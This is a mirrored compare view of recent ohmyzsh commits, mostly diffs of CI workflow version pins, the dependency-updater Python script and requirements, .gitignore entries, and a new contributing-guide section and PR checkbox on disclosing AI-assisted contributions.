mirror of
https://github.com/ohmyzsh/ohmyzsh.git
synced 2026-08-24 01:33:21 +08:00
Compare commits
251 Commits
c6482fa5be
...
dependabot
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9d8f4927d0 | ||
|
|
830a5bcfd2 | ||
|
|
d42209f2af | ||
|
|
1b2b604c48 | ||
|
|
97e11051e2 | ||
|
|
178813b7b9 | ||
|
|
0e98520c5b | ||
|
|
b54a719775 | ||
|
|
1f9511f132 | ||
|
|
97b27bb2ec | ||
|
|
99aaf58d00 | ||
|
|
6f39351fef | ||
|
|
069512d14a | ||
|
|
0912e05c05 | ||
|
|
076d692dac | ||
|
|
7e2aa2c8cb | ||
|
|
ab84cca50a | ||
|
|
a4a224b3fe | ||
|
|
898b579cf5 | ||
|
|
bc0d7fa6ab | ||
|
|
ed19f8ffcf | ||
|
|
26b4e0a8c0 | ||
|
|
a8afe14b93 | ||
|
|
be0dfaad6b | ||
|
|
14200130f0 | ||
|
|
ad586ffeca | ||
|
|
da368d6468 | ||
|
|
6adfef3a8b | ||
|
|
c5ba74cf02 | ||
|
|
7ea697fd81 | ||
|
|
d26b91b3fe | ||
|
|
64c49681f1 | ||
|
|
f5f46df291 | ||
|
|
9e67851a2f | ||
|
|
2ea792fd9b | ||
|
|
bce9fec859 | ||
|
|
12eb42de60 | ||
|
|
f25287d881 | ||
|
|
b37dd49ca5 | ||
|
|
e1d1f0dcd5 | ||
|
|
59a9740721 | ||
|
|
98fe9b81a6 | ||
|
|
f2546022a5 | ||
|
|
677a4592b1 | ||
|
|
8c8782e362 | ||
|
|
51e98fadc9 | ||
|
|
19962acc06 | ||
|
|
ff2f16e8df | ||
|
|
81becab1e7 | ||
|
|
65749801cf | ||
|
|
d2379b2701 | ||
|
|
ff1df9a039 | ||
|
|
639b566f0e | ||
|
|
df34d2b8d5 | ||
|
|
96ea17080a | ||
|
|
0a91ce20d5 | ||
|
|
9a67e3b3f5 | ||
|
|
d708ca9d99 | ||
|
|
ffa8487bc7 | ||
|
|
3f6f72010f | ||
|
|
5181447da8 | ||
|
|
c954bbb168 | ||
|
|
630a7c04c3 | ||
|
|
e25f96735e | ||
|
|
70ad5e3df8 | ||
|
|
b86a99da17 | ||
|
|
cfdc4822d4 | ||
|
|
c86ba78e2f | ||
|
|
d170d18746 | ||
|
|
c90141ed77 | ||
|
|
8eff9a5455 | ||
|
|
5ddb7fedcc | ||
|
|
ddcdc26692 | ||
|
|
fb03e414ee | ||
|
|
b26b500263 | ||
|
|
fe11a3ae23 | ||
|
|
87a9b16b72 | ||
|
|
857a646516 | ||
|
|
5ef67beadb | ||
|
|
d633270784 | ||
|
|
43c68566be | ||
|
|
cb64103161 | ||
|
|
0eecd2821e | ||
|
|
2a5313a9d0 | ||
|
|
24959d5817 | ||
|
|
efd6135bf5 | ||
|
|
c68e752b1b | ||
|
|
8d0ff417c3 | ||
|
|
80a6f169c7 | ||
|
|
c4e39ad56b | ||
|
|
7478f1fd22 | ||
|
|
a07126330b | ||
|
|
1381fec0bf | ||
|
|
3604dc23e0 | ||
|
|
8ab16fa493 | ||
|
|
e64912e0c1 | ||
|
|
c24960c324 | ||
|
|
571439d06b | ||
|
|
ff8297b0a9 | ||
|
|
e7aa0c56e6 | ||
|
|
2d5841740a | ||
|
|
278ee100fc | ||
|
|
52c830cd32 | ||
|
|
8c3cce964a | ||
|
|
d50115afd6 | ||
|
|
232c6e4d8d | ||
|
|
50c56eb49b | ||
|
|
bbe8cace5a | ||
|
|
349b9e49ce | ||
|
|
a4ee4daf3c | ||
|
|
7a6357cbf6 | ||
|
|
106b887c1f | ||
|
|
e42ac8c57b | ||
|
|
061f773dd3 | ||
|
|
c53cfb2de4 | ||
|
|
1708d84b70 | ||
|
|
46c673072e | ||
|
|
7c10d9839f | ||
|
|
103246c198 | ||
|
|
887a864aba | ||
|
|
d1fb3ebfc7 | ||
|
|
beab0c0b3c | ||
|
|
f0e2160abb | ||
|
|
9e2c1548c3 | ||
|
|
cb13cc539f | ||
|
|
76ffd9e22a | ||
|
|
11c1718983 | ||
|
|
9151236d1e | ||
|
|
7e7cb5a23c | ||
|
|
2614f529ce | ||
|
|
df64afb062 | ||
|
|
21dbafa904 | ||
|
|
cfad9e07f6 | ||
|
|
44394e7225 | ||
|
|
4daba14316 | ||
|
|
bec3f2244a | ||
|
|
b42f22643a | ||
|
|
7de13621b3 | ||
|
|
8df5c1b18b | ||
|
|
d1222044bc | ||
|
|
44c0e856f8 | ||
|
|
2bc4538c36 | ||
|
|
1e3abc123f | ||
|
|
abc2372919 | ||
|
|
5292fea2ba | ||
|
|
4f8632db32 | ||
|
|
bf2948322b | ||
|
|
25d4d753bf | ||
|
|
3fd2331ae8 | ||
|
|
6bb9718dd2 | ||
|
|
5c4f27b716 | ||
|
|
400591e71c | ||
|
|
536515d186 | ||
|
|
2117ee5cf7 | ||
|
|
7f8d6b1fca | ||
|
|
52d93f18d6 | ||
|
|
44f2a128aa | ||
|
|
45dd7d006a | ||
|
|
993afc8267 | ||
|
|
a8aca3fba5 | ||
|
|
cdd31a7ab3 | ||
|
|
88659ed193 | ||
|
|
41c5b9677a | ||
|
|
116be8badd | ||
|
|
9df4ea095f | ||
|
|
1a253c375a | ||
|
|
67cd8c4673 | ||
|
|
0074e724f8 | ||
|
|
db66764f46 | ||
|
|
e076690551 | ||
|
|
233e81db4e | ||
|
|
99b243b9a9 | ||
|
|
4677b798aa | ||
|
|
834fbf3711 | ||
|
|
47e990ccad | ||
|
|
ec14da72fb | ||
|
|
35068db837 | ||
|
|
871d4b9816 | ||
|
|
ed21aa1961 | ||
|
|
6634f44826 | ||
|
|
2daffdf101 | ||
|
|
28d4ab6e98 | ||
|
|
72625e2f2f | ||
|
|
d23d3ea69f | ||
|
|
a79b37b954 | ||
|
|
0f45f82c0a | ||
|
|
129aeee6bc | ||
|
|
3a73094983 | ||
|
|
95de26572e | ||
|
|
945d89f7ae | ||
|
|
8a231b1930 | ||
|
|
475b18f39a | ||
|
|
d4a62a2715 | ||
|
|
b5c449e1eb | ||
|
|
7192af5239 | ||
|
|
1fee750c3b | ||
|
|
57781231bb | ||
|
|
a4e15fdb16 | ||
|
|
f84341c574 | ||
|
|
92aed2e936 | ||
|
|
72acd2ca90 | ||
|
|
ddec79ad43 | ||
|
|
0ebeae78d0 | ||
|
|
3b66f643e4 | ||
|
|
953f526dea | ||
|
|
1b4497fc8f | ||
|
|
a98a9f7122 | ||
|
|
5f7f419759 | ||
|
|
e9fc134236 | ||
|
|
977c4f93a6 | ||
|
|
ee30bc535a | ||
|
|
ca5c467db1 | ||
|
|
a449c0247d | ||
|
|
343c5a83cb | ||
|
|
beadd56dd7 | ||
|
|
0116e7a5af | ||
|
|
441299ca77 | ||
|
|
fc2d0f8848 | ||
|
|
b04e01d418 | ||
|
|
15bcada010 | ||
|
|
b52dd1a425 | ||
|
|
8a4d6fc0a2 | ||
|
|
73d79fe137 | ||
|
|
8c5a60644a | ||
|
|
9d93dfaa60 | ||
|
|
5a282b9b30 | ||
|
|
dca16e8f9a | ||
|
|
a0576348d0 | ||
|
|
18d0a63df8 | ||
|
|
e70086a76a | ||
|
|
90a22b61e6 | ||
|
|
423e9aef52 | ||
|
|
43e880ba45 | ||
|
|
1dc87da9e6 | ||
|
|
136298e110 | ||
|
|
829b8fdea4 | ||
|
|
279e91e132 | ||
|
|
969cd28e0d | ||
|
|
99017b8eac | ||
|
|
55aa4c40e2 | ||
|
|
38423b4b5c | ||
|
|
bd295c014f | ||
|
|
f1934d2c76 | ||
|
|
caba9ae034 | ||
|
|
ac92582961 | ||
|
|
8337a07400 | ||
|
|
1672a12704 | ||
|
|
064f0c1d0a | ||
|
|
d1c04d8a33 | ||
|
|
c5f64018ff | ||
|
|
853680fd62 |
6
.github/FUNDING.yml
vendored
6
.github/FUNDING.yml
vendored
@@ -1,2 +1,6 @@
|
||||
github: [ohmyzsh, robbyrussell, mcornella, larson-carter, carlosala]
|
||||
github:
|
||||
- ohmyzsh
|
||||
- robbyrussell
|
||||
- mcornella
|
||||
- carlosala
|
||||
open_collective: ohmyzsh
|
||||
|
||||
1
.github/PULL_REQUEST_TEMPLATE.md
vendored
1
.github/PULL_REQUEST_TEMPLATE.md
vendored
@@ -7,6 +7,7 @@
|
||||
- [ ] I have read the contribution guide and followed all the instructions.
|
||||
- [ ] The code follows the code style guide detailed in the wiki.
|
||||
- [ ] The code is mine or it's from somewhere with an MIT-compatible license.
|
||||
- [ ] If I used AI tools (ChatGPT, Claude, Gemini, etc.) to assist with this contribution, I've disclosed it below.
|
||||
- [ ] The code is efficient, to the best of my ability, and does not waste computer resources.
|
||||
- [ ] The code is stable and I have tested it myself, to the best of my abilities.
|
||||
- [ ] If the code introduces new aliases, I provide a valid use case for all plugin users down below.
|
||||
|
||||
14
.github/dependabot.yml
vendored
14
.github/dependabot.yml
vendored
@@ -6,9 +6,23 @@ updates:
|
||||
interval: "weekly"
|
||||
day: "sunday"
|
||||
labels: []
|
||||
groups:
|
||||
gha-minor:
|
||||
patterns:
|
||||
- "*"
|
||||
update-types:
|
||||
- minor
|
||||
- patch
|
||||
- package-ecosystem: "pip"
|
||||
directory: "/.github/workflows/dependencies"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
day: "sunday"
|
||||
labels: []
|
||||
groups:
|
||||
py-minor:
|
||||
patterns:
|
||||
- "*"
|
||||
update-types:
|
||||
- minor
|
||||
- patch
|
||||
|
||||
15
.github/dependencies.yml
vendored
15
.github/dependencies.yml
vendored
@@ -12,14 +12,14 @@ dependencies:
|
||||
plugins/gradle:
|
||||
repo: gradle/gradle-completion
|
||||
branch: master
|
||||
version: 25da917cf5a88f3e58f05be3868a7b2748c8afe6
|
||||
version: 63578c9bc56134b80766e88957ba0239e6be2343
|
||||
precopy: |
|
||||
set -e
|
||||
find . ! -name _gradle ! -name LICENSE -delete
|
||||
plugins/history-substring-search:
|
||||
repo: zsh-users/zsh-history-substring-search
|
||||
branch: master
|
||||
version: 87ce96b1862928d84b1afe7c173316614b30e301
|
||||
version: 14c8d2e0ffaee98f2df9850b19944f32546fdea5
|
||||
precopy: |
|
||||
set -e
|
||||
rm -f zsh-history-substring-search.plugin.zsh
|
||||
@@ -27,6 +27,14 @@ dependencies:
|
||||
postcopy: |
|
||||
set -e
|
||||
test -e dependencies/OMZ-README.md && cat dependencies/OMZ-README.md >> README.md
|
||||
plugins/kube-ps1:
|
||||
repo: jonmosco/kube-ps1
|
||||
branch: master
|
||||
version: 04af46f7fe888ad287abcab6699b9bb10234bc3d
|
||||
precopy: |
|
||||
set -e
|
||||
find . ! -name kube-ps1.sh ! -name LICENSE ! -name README.md -delete
|
||||
test -e kube-ps1.sh && mv kube-ps1.sh kube-ps1.plugin.zsh
|
||||
plugins/wd:
|
||||
repo: mfaerevaag/wd
|
||||
branch: master
|
||||
@@ -38,9 +46,10 @@ dependencies:
|
||||
plugins/z:
|
||||
branch: master
|
||||
repo: agkozak/zsh-z
|
||||
version: cf9225feebfae55e557e103e95ce20eca5eff270
|
||||
version: 102fb78036ed76feedf623907483691777a1d510
|
||||
precopy: |
|
||||
set -e
|
||||
rm -r tests
|
||||
test -e README.md && mv -f README.md MANUAL.md
|
||||
postcopy: |
|
||||
set -e
|
||||
|
||||
12
.github/workflows/dependencies.yml
vendored
12
.github/workflows/dependencies.yml
vendored
@@ -12,24 +12,26 @@ jobs:
|
||||
name: Check for updates
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'ohmyzsh/ohmyzsh'
|
||||
permissions:
|
||||
contents: write # this is needed to push commits and branches
|
||||
steps:
|
||||
- name: Harden the runner (Audit all outbound calls)
|
||||
uses: step-security/harden-runner@f4a75cfd619ee5ce8d5b864b0d183aff3c69b55a # v2.13.1
|
||||
uses: step-security/harden-runner@05e31511f85b41b11d1cf0ef85d0992719546e2c # v2.21.0
|
||||
with:
|
||||
egress-policy: audit
|
||||
|
||||
- name: Checkout
|
||||
uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
|
||||
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||
with:
|
||||
fetch-depth: 0
|
||||
- name: Authenticate as @ohmyzsh
|
||||
id: generate-token
|
||||
uses: actions/create-github-app-token@67018539274d69449ef7c02e8e71183d1719ab42 # v2.1.4
|
||||
uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0
|
||||
with:
|
||||
app-id: ${{ secrets.OHMYZSH_APP_ID }}
|
||||
client-id: ${{ secrets.OHMYZSH_CLIENT_ID }}
|
||||
private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }}
|
||||
- name: Setup Python
|
||||
uses: actions/setup-python@e797f83bcb11b83ae66e0230d6156d7c80228e7c # v6.0.0
|
||||
uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
|
||||
with:
|
||||
python-version: "3.12"
|
||||
cache: "pip"
|
||||
|
||||
10
.github/workflows/dependencies/requirements.txt
vendored
10
.github/workflows/dependencies/requirements.txt
vendored
@@ -1,7 +1,7 @@
|
||||
certifi==2025.10.5
|
||||
charset-normalizer==3.4.3
|
||||
idna==3.10
|
||||
certifi==2026.7.22
|
||||
charset-normalizer==3.5.0
|
||||
idna==3.18
|
||||
PyYAML==6.0.3
|
||||
requests==2.32.5
|
||||
requests==2.34.2
|
||||
semver==3.0.4
|
||||
urllib3==2.5.0
|
||||
urllib3==2.7.0
|
||||
|
||||
107
.github/workflows/dependencies/updater.py
vendored
107
.github/workflows/dependencies/updater.py
vendored
@@ -18,6 +18,13 @@ TMP_DIR = os.path.join(os.environ.get("TMP_DIR", "/tmp"), "ohmyzsh")
|
||||
DEPS_YAML_FILE = ".github/dependencies.yml"
|
||||
# Dry run flag
|
||||
DRY_RUN = os.environ.get("DRY_RUN", "0") == "1"
|
||||
# GitHub Token is needed to avoid rate limiting
|
||||
GH_TOKEN = os.environ.get("GH_TOKEN")
|
||||
HEADERS = {
|
||||
"Accept": "application/vnd.github+json",
|
||||
}
|
||||
if GH_TOKEN:
|
||||
HEADERS["Authorization"] = f"Bearer {GH_TOKEN}"
|
||||
|
||||
# utils for tag comparison
|
||||
BASEVERSION = re.compile(
|
||||
@@ -212,6 +219,7 @@ class Dependency:
|
||||
if status["has_updates"] is True:
|
||||
short_sha = status["head_ref"][:8]
|
||||
new_version = status["version"] if is_tag else short_sha
|
||||
source_ref = new_version if is_tag else status["head_ref"]
|
||||
|
||||
try:
|
||||
branch_name = f"update/{self.path}/{new_version}"
|
||||
@@ -219,32 +227,33 @@ class Dependency:
|
||||
# Create new branch
|
||||
branch = Git.checkout_or_create_branch(branch_name)
|
||||
|
||||
# Update dependencies.yml file
|
||||
self.__update_yaml(
|
||||
f"tag:{new_version}" if is_tag else status["version"]
|
||||
)
|
||||
|
||||
# Update dependency files
|
||||
self.__apply_upstream_changes()
|
||||
self.__apply_upstream_changes(source_ref)
|
||||
|
||||
# Add all changes and commit
|
||||
has_new_commit = Git.add_and_commit(self.name, new_version)
|
||||
|
||||
if has_new_commit:
|
||||
# Push changes to remote
|
||||
Git.push(branch)
|
||||
|
||||
# Create GitHub PR
|
||||
GitHub.create_pr(
|
||||
branch,
|
||||
f"feat({self.name}): update to version {new_version}",
|
||||
f"""## Description
|
||||
|
||||
Update for **{self.desc}**: update to version [{new_version}]({status['head_url']}).
|
||||
Check out the [list of changes]({status['compare_url']}).
|
||||
""",
|
||||
if not Git.repo_is_clean():
|
||||
# Update dependencies.yml file
|
||||
self.__update_yaml(
|
||||
f"tag:{new_version}" if is_tag else status["version"]
|
||||
)
|
||||
|
||||
# Add all changes and commit
|
||||
has_new_commit = Git.add_and_commit(self.name, new_version)
|
||||
|
||||
if has_new_commit:
|
||||
# Push changes to remote
|
||||
Git.push(branch)
|
||||
|
||||
# Create GitHub PR
|
||||
GitHub.create_pr(
|
||||
branch,
|
||||
f"chore({self.name}): update to version {new_version}",
|
||||
f"""## Description
|
||||
|
||||
Update for **{self.desc}**: update to version [{new_version}]({status["head_url"]}).
|
||||
Check out the [list of changes]({status["compare_url"]}).
|
||||
""",
|
||||
)
|
||||
|
||||
# Clean up repository
|
||||
Git.clean_repo()
|
||||
except (CommandRunner.Exception, shutil.Error) as e:
|
||||
@@ -275,8 +284,8 @@ Check out the [list of changes]({status['compare_url']}).
|
||||
|
||||
There is a new version of `{self.name}` {self.kind} available.
|
||||
|
||||
New version: [{new_version}]({status['head_url']})
|
||||
Check out the [list of changes]({status['compare_url']}).
|
||||
New version: [{new_version}]({status["head_url"]})
|
||||
Check out the [list of changes]({status["compare_url"]}).
|
||||
"""
|
||||
|
||||
print("Creating GitHub issue", file=sys.stderr)
|
||||
@@ -289,7 +298,7 @@ Check out the [list of changes]({status['compare_url']}).
|
||||
dep_yaml = DependencyStore.update_dependency_version(self.path, new_version)
|
||||
DependencyStore.write_store(DEPS_YAML_FILE, dep_yaml)
|
||||
|
||||
def __apply_upstream_changes(self) -> None:
|
||||
def __apply_upstream_changes(self, ref: str) -> None:
|
||||
# Patterns to ignore in copying files from upstream repo
|
||||
GLOBAL_IGNORE = [".git", ".github", ".gitignore"]
|
||||
|
||||
@@ -298,12 +307,11 @@ Check out the [list of changes]({status['compare_url']}).
|
||||
postcopy = self.values.get("postcopy")
|
||||
|
||||
repo = self.values["repo"]
|
||||
branch = self.values["branch"]
|
||||
remote_url = f"https://github.com/{repo}.git"
|
||||
repo_dir = os.path.join(TMP_DIR, repo)
|
||||
|
||||
# Clone repository
|
||||
Git.clone(remote_url, branch, repo_dir, reclone=True)
|
||||
Git.clone(remote_url, ref, repo_dir, reclone=True)
|
||||
|
||||
# Run precopy on tmp repo
|
||||
if precopy is not None:
|
||||
@@ -340,7 +348,7 @@ class Git:
|
||||
default_branch = "master"
|
||||
|
||||
@staticmethod
|
||||
def clone(remote_url: str, branch: str, repo_dir: str, reclone=False):
|
||||
def clone(remote_url: str, ref: str, repo_dir: str, reclone=False):
|
||||
# If repo needs to be fresh
|
||||
if reclone and os.path.exists(repo_dir):
|
||||
shutil.rmtree(repo_dir)
|
||||
@@ -348,11 +356,11 @@ class Git:
|
||||
# Clone repo in tmp directory and checkout branch
|
||||
if not os.path.exists(repo_dir):
|
||||
print(
|
||||
f"Cloning {remote_url} to {repo_dir} and checking out {branch}",
|
||||
f"Cloning {remote_url} to {repo_dir} and checking out {ref}",
|
||||
file=sys.stderr,
|
||||
)
|
||||
CommandRunner.run_or_fail(
|
||||
["git", "clone", "--depth=1", "-b", branch, remote_url, repo_dir],
|
||||
["git", "clone", "--depth=1", "--revision", ref, remote_url, repo_dir],
|
||||
stage="Clone",
|
||||
)
|
||||
|
||||
@@ -377,21 +385,30 @@ class Git:
|
||||
)
|
||||
return branch_name
|
||||
|
||||
@staticmethod
|
||||
def repo_is_clean() -> bool:
|
||||
"""
|
||||
Returns `True` if the repo is clean.
|
||||
Returns `False` if the repo is dirty.
|
||||
"""
|
||||
try:
|
||||
result = CommandRunner.run_or_fail(
|
||||
["git", "status", "--porcelain", "--untracked-files=normal"],
|
||||
stage="CheckRepoClean",
|
||||
)
|
||||
except CommandRunner.Exception:
|
||||
return False
|
||||
|
||||
return result.stdout.strip() == b""
|
||||
|
||||
@staticmethod
|
||||
def add_and_commit(scope: str, version: str) -> bool:
|
||||
"""
|
||||
Returns `True` if there were changes and were indeed commited.
|
||||
Returns `False` if the repo was clean and no changes were commited.
|
||||
"""
|
||||
# check if repo is clean (clean => no error, no commit)
|
||||
try:
|
||||
CommandRunner.run_or_fail(
|
||||
["git", "diff", "--exit-code"], stage="CheckRepoClean"
|
||||
)
|
||||
if Git.repo_is_clean():
|
||||
return False
|
||||
except CommandRunner.Exception:
|
||||
# if it's other kind of error just throw!
|
||||
pass
|
||||
|
||||
user_name = os.environ.get("GIT_APP_NAME")
|
||||
user_email = os.environ.get("GIT_APP_EMAIL")
|
||||
@@ -415,7 +432,7 @@ class Git:
|
||||
f"user.email={user_email}",
|
||||
"commit",
|
||||
"-m",
|
||||
f"feat({scope}): update to {version}",
|
||||
f"chore({scope}): update to {version}",
|
||||
],
|
||||
stage="CreateCommit",
|
||||
env=clean_env,
|
||||
@@ -445,7 +462,7 @@ class GitHub:
|
||||
url = f"https://api.github.com/repos/{repo}/git/refs/tags"
|
||||
|
||||
# Send a GET request to the GitHub API
|
||||
response = requests.get(url)
|
||||
response = requests.get(url, headers=HEADERS)
|
||||
current_version = coerce(current_tag)
|
||||
if current_version is None:
|
||||
raise ValueError(
|
||||
@@ -505,7 +522,7 @@ class GitHub:
|
||||
url = f"https://api.github.com/repos/{repo}/compare/{version}...{branch}"
|
||||
|
||||
# Send a GET request to the GitHub API
|
||||
response = requests.get(url)
|
||||
response = requests.get(url, headers=HEADERS)
|
||||
|
||||
# If the request was successful
|
||||
if response.status_code == 200:
|
||||
@@ -589,7 +606,13 @@ def main():
|
||||
DependencyStore.set(data)
|
||||
|
||||
dependencies = data["dependencies"]
|
||||
for path in dependencies:
|
||||
if len(sys.argv) > 1:
|
||||
# argv is list of dependencies to run, default is all of them
|
||||
dependency_list = sys.argv[1:]
|
||||
else:
|
||||
dependency_list = dependencies.keys()
|
||||
|
||||
for path in dependency_list:
|
||||
dependency = Dependency(path, dependencies[path])
|
||||
dependency.update_or_notify()
|
||||
|
||||
|
||||
8
.github/workflows/installer.yml
vendored
8
.github/workflows/installer.yml
vendored
@@ -26,12 +26,12 @@ jobs:
|
||||
- macos-latest
|
||||
steps:
|
||||
- name: Harden the runner (Audit all outbound calls)
|
||||
uses: step-security/harden-runner@f4a75cfd619ee5ce8d5b864b0d183aff3c69b55a # v2.13.1
|
||||
uses: step-security/harden-runner@05e31511f85b41b11d1cf0ef85d0992719546e2c # v2.21.0
|
||||
with:
|
||||
egress-policy: audit
|
||||
|
||||
- name: Set up git repository
|
||||
uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
|
||||
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||
- name: Install zsh
|
||||
if: runner.os == 'Linux'
|
||||
run: sudo apt-get update; sudo apt-get install zsh
|
||||
@@ -47,12 +47,12 @@ jobs:
|
||||
- test
|
||||
steps:
|
||||
- name: Harden the runner (Audit all outbound calls)
|
||||
uses: step-security/harden-runner@f4a75cfd619ee5ce8d5b864b0d183aff3c69b55a # v2.13.1
|
||||
uses: step-security/harden-runner@05e31511f85b41b11d1cf0ef85d0992719546e2c # v2.21.0
|
||||
with:
|
||||
egress-policy: audit
|
||||
|
||||
- name: Checkout
|
||||
uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
|
||||
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||
- name: Install Vercel CLI
|
||||
run: npm install -g vercel
|
||||
- name: Setup project and deploy
|
||||
|
||||
4
.github/workflows/main.yml
vendored
4
.github/workflows/main.yml
vendored
@@ -24,12 +24,12 @@ jobs:
|
||||
if: github.repository == 'ohmyzsh/ohmyzsh'
|
||||
steps:
|
||||
- name: Harden the runner (Audit all outbound calls)
|
||||
uses: step-security/harden-runner@f4a75cfd619ee5ce8d5b864b0d183aff3c69b55a # v2.13.1
|
||||
uses: step-security/harden-runner@05e31511f85b41b11d1cf0ef85d0992719546e2c # v2.21.0
|
||||
with:
|
||||
egress-policy: audit
|
||||
|
||||
- name: Set up git repository
|
||||
uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
|
||||
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||
- name: Install zsh
|
||||
run: sudo apt-get update; sudo apt-get install zsh
|
||||
- name: Check syntax
|
||||
|
||||
6
.github/workflows/project.yml
vendored
6
.github/workflows/project.yml
vendored
@@ -17,14 +17,14 @@ jobs:
|
||||
if: github.repository == 'ohmyzsh/ohmyzsh'
|
||||
steps:
|
||||
- name: Harden the runner (Audit all outbound calls)
|
||||
uses: step-security/harden-runner@f4a75cfd619ee5ce8d5b864b0d183aff3c69b55a # v2.13.1
|
||||
uses: step-security/harden-runner@05e31511f85b41b11d1cf0ef85d0992719546e2c # v2.21.0
|
||||
with:
|
||||
egress-policy: audit
|
||||
- name: Authenticate as @ohmyzsh
|
||||
id: generate-token
|
||||
uses: actions/create-github-app-token@67018539274d69449ef7c02e8e71183d1719ab42 # v2.1.4
|
||||
uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0
|
||||
with:
|
||||
app-id: ${{ secrets.OHMYZSH_APP_ID }}
|
||||
client-id: ${{ secrets.OHMYZSH_CLIENT_ID }}
|
||||
private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }}
|
||||
- name: Read project data
|
||||
env:
|
||||
|
||||
10
.github/workflows/scorecard.yml
vendored
10
.github/workflows/scorecard.yml
vendored
@@ -36,30 +36,30 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: Harden the runner (Audit all outbound calls)
|
||||
uses: step-security/harden-runner@f4a75cfd619ee5ce8d5b864b0d183aff3c69b55a # v2.13.1
|
||||
uses: step-security/harden-runner@05e31511f85b41b11d1cf0ef85d0992719546e2c # v2.21.0
|
||||
with:
|
||||
egress-policy: audit
|
||||
|
||||
- name: "Checkout code"
|
||||
uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
|
||||
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: "Run analysis"
|
||||
uses: ossf/scorecard-action@4eaacf0543bb3f2c246792bd56e8cdeffafb205a # v2.4.3
|
||||
uses: ossf/scorecard-action@2d1146689b8cda280b9bc96326124645441f03bc # v2.4.4
|
||||
with:
|
||||
results_file: results.sarif
|
||||
results_format: sarif
|
||||
publish_results: true
|
||||
|
||||
- name: "Upload artifact"
|
||||
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
|
||||
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
|
||||
with:
|
||||
name: SARIF file
|
||||
path: results.sarif
|
||||
retention-days: 5
|
||||
|
||||
- name: "Upload to code-scanning"
|
||||
uses: github/codeql-action/upload-sarif@64d10c13136e1c5bce3e5fbde8d4906eeaafc885 # v3.30.6
|
||||
uses: github/codeql-action/upload-sarif@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4.37.7
|
||||
with:
|
||||
sarif_file: results.sarif
|
||||
|
||||
6
.gitignore
vendored
6
.gitignore
vendored
@@ -4,7 +4,12 @@ custom/
|
||||
# temp files directories
|
||||
cache/
|
||||
log/
|
||||
|
||||
# Vim swap/backup files
|
||||
*.swp
|
||||
*.swo
|
||||
|
||||
# macOS system files
|
||||
.DS_Store
|
||||
|
||||
# editor configs
|
||||
@@ -13,3 +18,4 @@ log/
|
||||
|
||||
# zcompile cached files
|
||||
*.zwc
|
||||
*.zwc.old
|
||||
|
||||
@@ -20,6 +20,7 @@ you would make is not already covered.
|
||||
- [Getting started](#getting-started)
|
||||
- [You have a solution](#you-have-a-solution)
|
||||
- [You have an addition](#you-have-an-addition)
|
||||
- [A note on AI-assisted contributions](#a-note-on-ai-assisted-contributions)
|
||||
- [Use the Search, Luke](#use-the-search-luke)
|
||||
- [Commit Guidelines](#commit-guidelines)
|
||||
- [Format](#format)
|
||||
@@ -125,6 +126,30 @@ Because of this, from now on, we require that new aliases follow these condition
|
||||
This list is not exhaustive! Please remember that your alias will be in the machines of many people,
|
||||
so it should be justified why they should have it.
|
||||
|
||||
## A note on AI-assisted contributions
|
||||
|
||||
We'll admit it: AI tools can be pretty helpful for coding tasks, and we're not here to gatekeep how you get your work done. We use these tools ourselves! 🤖
|
||||
|
||||
But here's the thing—Oh My Zsh is maintained by a small team of volunteers who do this in their spare time. We already have hundreds of pending PRs, and we want to make sure we're spending our limited time effectively.
|
||||
|
||||
If you used AI tools meaningfully in your contribution (code generation, agentic coding assistants, etc.), please mention it in your PR description. Basic autocomplete doesn't count, but if an AI wrote substantial parts of your code, just let us know.
|
||||
|
||||
**Examples of good disclosure:**
|
||||
- "Used ChatGPT to help generate the initial regex pattern for parsing git status output"
|
||||
- "Claude assisted with writing the unit tests for this feature"
|
||||
- "Generated with Gemini and then reviewed/tested manually"
|
||||
- Or simply: "AI-assisted" in your PR description
|
||||
|
||||
Here's what we're looking for:
|
||||
|
||||
- **You understand your code**: You should be able to explain what your contribution does and how it works. We want to collaborate with humans who are invested in the project.
|
||||
- **Context matters**: Tell us what problem you're solving, how you tested it, and link to relevant docs. Small, incremental changes work better than massive generated overhauls.
|
||||
- **Quality over quantity**: We'd rather have one thoughtful, well-tested contribution than ten AI-generated PRs that need extensive review.
|
||||
|
||||
The disclosure helps us know how much guidance to offer. If we're just reviewing AI output that you can't explain or improve, that changes the dynamic—and frankly, it's not a great use of anyone's time.
|
||||
|
||||
As always, we reserve the right to decline any contribution. PRs that appear to be unreviewed AI output, or code the contributor can't explain, may be closed without extensive feedback.
|
||||
|
||||
----
|
||||
|
||||
## Use the Search, Luke
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2009-2022 Robby Russell and contributors (https://github.com/ohmyzsh/ohmyzsh/contributors)
|
||||
Copyright (c) 2009-2026 Robby Russell and contributors (https://github.com/ohmyzsh/ohmyzsh/contributors)
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
